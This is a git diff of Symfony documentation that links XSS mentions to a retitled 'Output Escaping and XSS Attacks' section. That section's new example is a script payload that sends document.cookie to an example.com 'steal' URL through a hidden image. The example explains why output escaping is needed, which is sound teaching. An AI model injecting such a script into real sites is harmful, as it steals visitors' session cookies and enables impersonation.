diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index d5b28b0afb8..a1318e87a3e 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -15,8 +15,8 @@ that the returned HTML is very predictable (it only contains allowed
 elements), but it does not work well with badly formatted input (e.g.
 invalid HTML). The sanitizer is targeted for two use cases:
 
-* Preventing security attacks based on XSS or other technologies relying on
-  execution of malicious code on the visitors browsers;
+* Preventing security attacks based on :ref:`XSS <xss-attacks>` or other technologies
+  relying on execution of malicious code on the visitors browsers;
 * Generating HTML that always respects a certain format (only certain
   tags, attributes, hosts, etc.) to be able to consistently style the
   resulting output with CSS. This also protects your application against
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ace6989c882..968e7fd5771 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1855,7 +1855,7 @@ cookie_httponly
 This determines whether cookies should only be accessible through the HTTP
 protocol. This means that the cookie won't be accessible by scripting
 languages, such as JavaScript. This setting can effectively help to reduce
-identity theft through XSS attacks.
+identity theft through :ref:`XSS attacks <xss-attacks>`.
 
 gc_divisor
 ..........
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index efab3adb2d6..8a8e21dbea0 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -49,7 +49,7 @@ individually in the templates).
 .. danger::
 
     Setting this option to ``false`` is dangerous and it will make your
-    application vulnerable to `XSS attacks`_ because most third-party bundles
+    application vulnerable to :ref:`XSS attacks <xss-attacks>` because most third-party bundles
     assume that auto-escaping is enabled and they don't escape contents
     themselves.
 
@@ -441,5 +441,4 @@ attribute or method doesn't exist. If set to ``false`` these errors are ignored
 and the non-existing values are replaced by ``null``.
 
 .. _`the optimizer extension`: https://twig.symfony.com/doc/3.x/api.html#optimizer-extension
-.. _`XSS attacks`: https://en.wikipedia.org/wiki/Cross-site_scripting
 .. _`__invoke() PHP magic method`: https://www.php.net/manual/en/language.oop5.magic.php#object.invoke
diff --git a/reference/forms/types/options/sanitize_html.rst.inc b/reference/forms/types/options/sanitize_html.rst.inc
index d5525674815..06e41eecdca 100644
--- a/reference/forms/types/options/sanitize_html.rst.inc
+++ b/reference/forms/types/options/sanitize_html.rst.inc
@@ -9,8 +9,8 @@ sanitize_html
 
 When ``true``, the text input will be sanitized using the
 :doc:`Symfony HTML Sanitizer component </html_sanitizer>` after the form is
-submitted. This protects the form input against XSS, clickjacking and CSS
-injection.
+submitted. This protects the form input against :ref:`XSS attacks <xss-attacks>`,
+clickjacking and CSS injection.
 
 .. note::
 
diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst
index 0460bca6942..cf56d3067de 100644
--- a/reference/forms/types/textarea.rst
+++ b/reference/forms/types/textarea.rst
@@ -22,7 +22,7 @@ Renders a ``textarea`` HTML element.
 .. caution::
 
     When allowing users to type HTML code in the textarea (or using a
-    WYSIWYG) editor, the application is vulnerable to XSS injection,
+    WYSIWYG) editor, the application is vulnerable to :ref:`XSS injection <xss-attacks>`,
     clickjacking or CSS injection. Use the `sanitize_html`_ option to
     protect against these types of attacks.
 
diff --git a/templates.rst b/templates.rst
index b2769d34dd4..70c19c9fa97 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1306,17 +1306,25 @@ and leaves the repeated contents and HTML structure to some parent templates.
 Read the `Twig template inheritance`_ docs to learn more about how to reuse
 parent block contents when overriding templates and other advanced features.
 
-Output Escaping
----------------
+.. _output-escaping:
+.. _xss-attacks:
+
+Output Escaping and XSS Attacks
+-------------------------------
 
 Imagine that your template includes the ``Hello {{ name }}`` code to display the
-user name. If a malicious user sets ``<script>alert('hello!')</script>`` as
-their name and you output that value unchanged, the application will display a
-JavaScript popup window.
+user name and a malicious user sets the following as their name:
+
+.. code-block:: html
+
+    My Name
+    <script type="text/javascript">
+        document.write('<img src="http://example.com/steal?cookie=' + encodeURIComponent(document.cookie) + '" style="display:none;">');
+    </script>
 
-This is known as a `Cross-Site Scripting`_ (XSS) attack. And while the previous
-example seems harmless, the attacker could write more advanced JavaScript code
-to perform malicious actions.
+You'll see ``My Name`` on screen but the attacker just secretly stole your cookies
+so they could impersonate you in other websites. This is known as a `Cross-Site Scripting`_
+(XSS) attack.
 
 To prevent this attack, use *"output escaping"* to transform the characters
 which have special meaning (e.g. replace ``<`` by the ``&lt;`` HTML entity).